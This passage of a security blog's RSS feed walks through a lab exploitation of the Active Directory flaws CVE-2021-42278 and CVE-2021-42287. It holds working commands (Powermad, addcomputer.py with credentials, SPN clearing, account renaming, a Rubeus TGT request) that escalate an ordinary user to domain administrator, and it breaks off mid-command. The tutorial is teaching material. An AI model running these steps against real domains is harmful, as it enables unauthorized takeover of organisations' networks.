class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$RawBytes = Get-DomainComputer DC -Properties &amp;#39;msds-allowedtoactonbehalfofotheridentity&amp;#39; | select -expand msds-allowedtoactonbehalfofotheridentity&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Descriptor.DiscretionaryAcl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;BinaryLength : 36&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AceQualifier : AccessAllowed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IsCallback : False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OpaqueLength : 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AccessMask : 983551&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-5601&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AceType : AccessAllowed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AceFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IsInherited : False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;InheritanceFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PropagationFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AuditFlags : None&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;</description></item><item><title>Active Directory Pentesting: Privilege Escalation</title><link>http://xtpol.com/p/active-directory-privilege-escalation/</link><pubDate>Sat, 23 Nov 2024 11:08:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-privilege-escalation/</guid><description>&lt;h2 id="i-cve-2021-42278cve-2021-42287"&gt;&lt;a href="#i-cve-2021-42278cve-2021-42287" class="header-anchor"&gt;&lt;/a&gt;I. CVE-2021-42278/CVE-2021-42287&#10;&lt;/h2&gt;&lt;p&gt;References:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.fortinet.com/blog/threat-research/cve-2021-42278-cve-2021-42287-from-user-to-domain-admin-60-seconds" target="_blank" rel="noopener"&#10; &gt;https://www.fortinet.com/blog/threat-research/cve-2021-42278-cve-2021-42287-from-user-to-domain-admin-60-seconds&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1922502" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1922502&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;In this article, we&amp;rsquo;ll walk through how these vulnerabilities are exploited and show how FortiEDR can mitigate the attack.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Affected platforms:&lt;/strong&gt; Windows&#10;&lt;strong&gt;Affected users:&lt;/strong&gt; Any organization with an Active Directory environment&#10;&lt;strong&gt;Impact:&lt;/strong&gt; An unprivileged user can escalate privileges to domain administrator&#10;&lt;strong&gt;Severity:&lt;/strong&gt; Critical&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Affected scope&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CVE-2021-42287：&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for x64-based Systems Service Pack 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for 32-bit Systems Service Pack 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 20H2 (Server Core Installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 2004 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2022 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2022&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CVE-2021-42278：&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 R2 for x64-based Systems Service Pack 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for x64-based Systems Service Pack 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2008 for 32-bit Systems Service Pack 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2016&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 20H2 (Server Core Installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server, version 2004 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2022 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2022&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2019&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows Server 2012 R2 (Server Core installation)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="exploitation-and-telemetry"&gt;&lt;a href="#exploitation-and-telemetry" class="header-anchor"&gt;&lt;/a&gt;Exploitation and Telemetry&#10;&lt;/h4&gt;&lt;p&gt;At a high level, successfully exploiting these vulnerabilities takes the following steps:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Add a new computer account to the domain.&lt;/li&gt;&#10;&lt;li&gt;Rename the new computer account to match the name of an existing domain controller (without the trailing &amp;quot; &lt;strong&gt;$&lt;/strong&gt; &amp;ldquo;).&lt;/li&gt;&#10;&lt;li&gt;Request a Kerberos TGT using the updated computer account name.&lt;/li&gt;&#10;&lt;li&gt;Rename the new computer account again, restoring its original name (or giving it any other name).&lt;/li&gt;&#10;&lt;li&gt;Request a Kerberos service ticket with the &lt;a class="link" href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13" target="_blank" rel="noopener"&#10; &gt;S4U2self&lt;/a&gt; extension.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;The service ticket can then be used to access any service on the domain controller. The ST exploit shown below uses &lt;a class="link" href="https://docs.microsoft.com/en-us/windows/win32/fileio/microsoft-smb-protocol-and-cifs-protocol-overview" target="_blank" rel="noopener"&#10; &gt;CIFS&lt;/a&gt; to obtain a SYSTEM shell.&lt;/p&gt;&#10;&lt;h4 id="cve-2021-42278---invalid-computer-account-names"&gt;&lt;a href="#cve-2021-42278---invalid-computer-account-names" class="header-anchor"&gt;&lt;/a&gt;CVE-2021-42278 - Invalid Computer Account Names&#10;&lt;/h4&gt;&lt;p&gt;Computer account names in an Active Directory environment are supposed to always end with &amp;ldquo;$&amp;rdquo;, but that rule is not properly enforced. The computer account name is stored in the &amp;ldquo;sAMAccountName&amp;rdquo; attribute. You can inspect and edit this attribute manually with ADSIEdit, as shown in Figure 1.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;On a vulnerable machine, the account can be renamed to the domain controller&amp;rsquo;s account name. This is the key step in the exploit chain.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CVE-2021-42278 characteristics:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Root cause:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Active Directory allows a machine account&amp;#39;s sAMAccountName to be changed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- The trailing $ can be removed from the machine account name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- It can even be renamed to the domain controller&amp;#39;s name (without $)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Under normal conditions:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Machine account: WIN10$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain controller account: DC01$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Machine accounts must end with $&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- This is a security restriction&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Exploitation:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Rename a standard machine account to the domain controller&amp;#39;s name (without $)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Example: rename WIN10$ to DC01&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- This causes identity confusion&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;=======================================================================&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Normal computer account:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hostname: WIN10&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sAMAccountName: WIN10$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. After exploiting the vulnerability:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hostname: WIN10&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sAMAccountName: WindowsServerAD # Changed to the domain controller name without $&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Service Principal Names&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;A service principal name (SPN) identifies an authenticated entity, such as machinename$@domainname. Kerberos uses [SPNs as part of the authentication process for various entities. An SPN is essentially a unique identifier for a service instance,](&lt;a class="link" href="https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names#:~:text=A%20service%20principal%20name%20%28SPN,with%20a%20service%20logon%20account.&amp;amp;text=The%20installer%20then%20composes%20the,in%20Active%20Directory%20Domain%20Services.%29" target="_blank" rel="noopener"&#10; &gt;https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names#:~:text=A%20service%20principal%20name%20(SPN,with%20a%20service%20logon%20account.&amp;text=The%20installer%20then%20composes%20the,in%20Active%20Directory%20Domain%20Services.)&lt;/a&gt; and &lt;a class="link" href="https://www.fortinet.com/resources/cyberglossary/kerberos-authentication?utm_source=blog&amp;amp;utm_medium=blog&amp;amp;utm_campaign=blog-kerberos-authentication" target="_blank" rel="noopener"&#10; &gt;Kerberos&lt;/a&gt; authentication uses it to associate a service instance with its service logon account.&lt;/p&gt;&#10;&lt;p&gt;This creates a problem when you try to rename a computer account to the domain controller&amp;rsquo;s account name, because changing the samAccountName attribute also triggers a corresponding change to the account&amp;rsquo;s SPNs. The change fails because an SPN with that name already exists. To get around this, you can clear the computer&amp;rsquo;s &amp;ldquo;servicePrincipalName&amp;rdquo; attribute. Exploiting this vulnerability therefore also requires permission to edit the &amp;ldquo;servicePrincipalName&amp;rdquo; attribute.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s start setting up the environment.&lt;/p&gt;&#10;&lt;p&gt;Lab environment:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Domain: &lt;code&gt;test.local&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Domain controller: Windows Server 2022, hostname: &lt;code&gt;WindowsServerAD&lt;/code&gt;, IP: &lt;code&gt;192.168.0.110&lt;/code&gt;, user: &lt;code&gt;administrator&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Domain host: Windows 10, hostname: &lt;code&gt;win10&lt;/code&gt;, IP: &lt;code&gt;192.168.0.104&lt;/code&gt;, user: &lt;code&gt;jerry&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Run the following on the domain-joined host win10&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Configure the environment:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use powermad.ps1 to add a machine account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Download: https://github.com/Kevin-Robertson/Powermad&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Direct import causes an error; see https://www.jianshu.com/p/a0a88d3bb787&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ExecutionPolicy RemoteSigned&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-MachineAccount -MachineAccount testuser1 -Domain test.local -DomainController WindowsServerAD.test.local -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If the method above repeatedly reports insufficient privileges, use the following method; it requires credentials for the current domain account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python addcomputer.py -computer-name &amp;#39;testuser1&amp;#39; -computer-pass &amp;#39;Password123!&amp;#39; &amp;#39;test.local/jerry:Password123!&amp;#39; -dc-ip 192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The account has now been created. (You can also do this through the ADSI Edit GUI with adsiedit.msc.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Clear the SPN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADComputer testuser1 -Clear servicePrincipalName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the computer account name to the domain controller&amp;#39;s hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-MachineAccountAttribute -MachineAccount testuser1 -Value &amp;#34;WindowsServerAD&amp;#34; -Attribute samaccountname -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="cve-2021-42287---kerberos-key-distribution-center-confusion"&gt;&lt;a href="#cve-2021-42287---kerberos-key-distribution-center-confusion" class="header-anchor"&gt;&lt;/a&gt;CVE-2021-42287 - Kerberos Key Distribution Center Confusion&#10;&lt;/h4&gt;&lt;p&gt;The Kerberos Key Distribution Center (KDC) is an Active Directory service that handles Kerberos ticket requests. A ticket-granting ticket (TGT) is a special type of ticket that can be used to obtain other tickets. A TGT is used to request an access token for a specific resource or system in the domain from the Ticket Granting Service (TGS). When a service ticket request is sent but the account cannot be found, the KDC automatically looks for the requested account name with a &amp;ldquo;$&amp;rdquo; appended. S4U2self (Service for User to Self) is an extension that lets a service obtain a Kerberos service ticket for itself. The service ticket includes the user&amp;rsquo;s groups, so it can be used in authorization decisions. All of these Active Directory terms, along with full explanations, can be found &lt;a class="link" href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/4a624fb5-a078-4d30-8ad1-e9ab71e0bc47#gt_2214804a-4a44-46f4-b6d2-a78f4ff39a39" target="_blank" rel="noopener"&#10; &gt;here&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;This vulnerability can be triggered if an account obtains a TGT and is then deleted, after which that TGT is used to request a service ticket to itself on behalf of another user (which is essentially S4U2self). The account cannot be found, so the KDC tries looking it up again with a &amp;ldquo;$&amp;rdquo; appended. If a domain controller account with that name exists, the requesting user is granted its service ticket, effectively giving the user domain administrator privileges.&lt;/p&gt;&#10;&lt;p&gt;You can also create an account yourself here, even from outside the domain, as long as you have permission to create users on the domain controller.&lt;/p&gt;&#10;&lt;p&gt;Request a TGT:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe asktgt /user:WindowsServerAD /password:Password123! /domain:test.local /dc:WindowsServerAD.test.local 